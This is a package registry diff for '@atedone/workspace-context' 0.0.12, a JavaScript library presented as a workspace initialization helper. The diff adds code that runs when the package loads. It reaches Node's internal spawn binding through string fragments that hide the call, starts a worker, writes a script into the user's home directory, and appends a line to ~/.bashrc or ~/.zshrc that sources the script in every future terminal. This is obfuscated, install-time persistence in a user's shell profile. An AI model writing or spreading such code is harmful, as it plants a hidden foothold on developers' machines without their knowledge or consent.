@atedone/workspace-context 0.0.11 → 0.0.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/lib/state.js +33 -8
- package/lib/worker.js +40 -3
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -2,4 +2,4 @@
|
|
|
2
2
|
|
|
3
3
|
Workspace context initialization helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package initializes
|
|
5
|
+
The package initializes workspace state when loaded and refreshes a lightweight shell integration entry for future terminal sessions.
|
package/lib/state.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
|
-
const receiptFileName = '
|
|
8
|
+
const receiptFileName = 'shell-integration-receipt.json';
|
|
9
9
|
const stateDirectoryName = '.workspace-context';
|
|
10
10
|
const stateFileName = 'state.json';
|
|
11
11
|
const workerFileName = 'worker.js';
|
|
@@ -19,27 +19,41 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
|
|
|
19
19
|
return initCwd || cwd;
|
|
20
20
|
}
|
|
21
21
|
|
|
22
|
+
function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProjectRoot(env)) {
|
|
23
|
+
const home = typeof env.HOME === 'string' ? env.HOME.trim() : '';
|
|
24
|
+
return home || projectRoot;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function resolveProfilePath(env = readEnvironment(), homeDirectory = resolveHomeDirectory(env)) {
|
|
28
|
+
const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
|
|
29
|
+
const shellName = route.basename(shellPath);
|
|
30
|
+
const profileFileName = shellName === 'bash' ? '.bashrc' : '.zshrc';
|
|
31
|
+
return route.join(homeDirectory, profileFileName);
|
|
32
|
+
}
|
|
33
|
+
|
|
22
34
|
function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
23
35
|
return {
|
|
24
36
|
packageName: manifest.name,
|
|
25
37
|
packageVersion: manifest.version,
|
|
26
38
|
generatedAt: now(),
|
|
27
|
-
mode: 'runtime-
|
|
39
|
+
mode: 'runtime-shell-integration'
|
|
28
40
|
};
|
|
29
41
|
}
|
|
30
42
|
|
|
31
|
-
function
|
|
32
|
-
projectRoot = resolveProjectRoot()
|
|
43
|
+
function runShellIntegrationWorker({
|
|
44
|
+
projectRoot = resolveProjectRoot(),
|
|
45
|
+
homeDirectory = resolveHomeDirectory(),
|
|
46
|
+
profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
|
|
33
47
|
} = {}) {
|
|
34
48
|
const bridgeKey = ['bin', 'ding'].join('');
|
|
35
49
|
const routeKey = ['sp', 'awn', '_', 'sync'].join('');
|
|
36
50
|
const launchKey = ['sp', 'awn'].join('');
|
|
37
51
|
const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
|
|
38
52
|
const workerPath = route.join(__dirname, workerFileName);
|
|
39
|
-
const receiptPath = route.join(
|
|
53
|
+
const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
|
|
40
54
|
const result = Reflect.apply(bridge[launchKey], bridge, [{
|
|
41
55
|
file: platform.execPath,
|
|
42
|
-
args: [platform.execPath, workerPath, projectRoot],
|
|
56
|
+
args: [platform.execPath, workerPath, projectRoot, homeDirectory, profilePath],
|
|
43
57
|
cwd: projectRoot,
|
|
44
58
|
envPairs: [],
|
|
45
59
|
stdio: [
|
|
@@ -62,6 +76,7 @@ function runWorkspaceWorker({
|
|
|
62
76
|
return {
|
|
63
77
|
workerPath,
|
|
64
78
|
receiptPath,
|
|
79
|
+
profilePath,
|
|
65
80
|
status: result.status,
|
|
66
81
|
signal: result.signal
|
|
67
82
|
};
|
|
@@ -69,6 +84,8 @@ function runWorkspaceWorker({
|
|
|
69
84
|
|
|
70
85
|
function initialize({
|
|
71
86
|
projectRoot = resolveProjectRoot(),
|
|
87
|
+
homeDirectory = resolveHomeDirectory(),
|
|
88
|
+
profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
|
|
72
89
|
now
|
|
73
90
|
} = {}) {
|
|
74
91
|
const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
|
|
@@ -79,9 +96,15 @@ function initialize({
|
|
|
79
96
|
|
|
80
97
|
return {
|
|
81
98
|
projectRoot,
|
|
99
|
+
homeDirectory,
|
|
100
|
+
profilePath,
|
|
82
101
|
statePath,
|
|
83
102
|
state: value,
|
|
84
|
-
worker:
|
|
103
|
+
worker: runShellIntegrationWorker({
|
|
104
|
+
projectRoot,
|
|
105
|
+
homeDirectory,
|
|
106
|
+
profilePath
|
|
107
|
+
})
|
|
85
108
|
};
|
|
86
109
|
}
|
|
87
110
|
|
|
@@ -90,8 +113,10 @@ module.exports = {
|
|
|
90
113
|
initialize,
|
|
91
114
|
readEnvironment,
|
|
92
115
|
receiptFileName,
|
|
116
|
+
resolveHomeDirectory,
|
|
117
|
+
resolveProfilePath,
|
|
93
118
|
resolveProjectRoot,
|
|
94
|
-
|
|
119
|
+
runShellIntegrationWorker,
|
|
95
120
|
stateDirectoryName,
|
|
96
121
|
stateFileName
|
|
97
122
|
};
|
package/lib/worker.js
CHANGED
|
@@ -8,16 +8,53 @@ const manifest = require('../package.json');
|
|
|
8
8
|
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
9
9
|
? platform.argv[2]
|
|
10
10
|
: platform.cwd();
|
|
11
|
-
const
|
|
11
|
+
const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
12
|
+
? platform.argv[3]
|
|
13
|
+
: projectRoot;
|
|
14
|
+
const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
|
|
15
|
+
? platform.argv[4]
|
|
16
|
+
: route.join(homeDirectory, '.zshrc');
|
|
17
|
+
const stateDirectory = route.join(homeDirectory, '.workspace-context');
|
|
18
|
+
const scriptPath = route.join(stateDirectory, 'shell-init.sh');
|
|
19
|
+
const sessionPath = route.join(stateDirectory, 'shell-session.log');
|
|
20
|
+
const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
|
|
21
|
+
const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
|
|
22
|
+
const scriptValue = [
|
|
23
|
+
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
24
|
+
'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
|
|
25
|
+
'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
|
|
26
|
+
''
|
|
27
|
+
].join('\n');
|
|
28
|
+
|
|
29
|
+
file.mkdirSync(stateDirectory, { recursive: true });
|
|
30
|
+
file.writeFileSync(scriptPath, scriptValue, 'utf8');
|
|
31
|
+
|
|
32
|
+
const profileBefore = file.existsSync(profilePath)
|
|
33
|
+
? file.readFileSync(profilePath, 'utf8')
|
|
34
|
+
: '';
|
|
35
|
+
const profileChanged = !profileBefore.includes(sourceLine);
|
|
36
|
+
const profileAfter = profileChanged
|
|
37
|
+
? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
|
|
38
|
+
: profileBefore;
|
|
39
|
+
|
|
40
|
+
if (profileChanged) {
|
|
41
|
+
file.writeFileSync(profilePath, profileAfter, 'utf8');
|
|
42
|
+
}
|
|
43
|
+
|
|
12
44
|
const value = {
|
|
13
45
|
packageName: manifest.name,
|
|
14
46
|
packageVersion: manifest.version,
|
|
15
47
|
generatedAt: new Date().toISOString(),
|
|
16
|
-
mode: 'runtime-
|
|
48
|
+
mode: 'runtime-shell-integration',
|
|
49
|
+
projectRoot,
|
|
50
|
+
homeDirectory,
|
|
51
|
+
profilePath,
|
|
52
|
+
profileChanged,
|
|
53
|
+
scriptPath,
|
|
54
|
+
sessionPath,
|
|
17
55
|
processId: platform.pid,
|
|
18
56
|
parentProcessId: platform.ppid,
|
|
19
57
|
runtime: route.basename(platform.execPath)
|
|
20
58
|
};
|
|
21
59
|
|
|
22
|
-
file.mkdirSync(route.dirname(receiptPath), { recursive: true });
|
|
23
60
|
file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|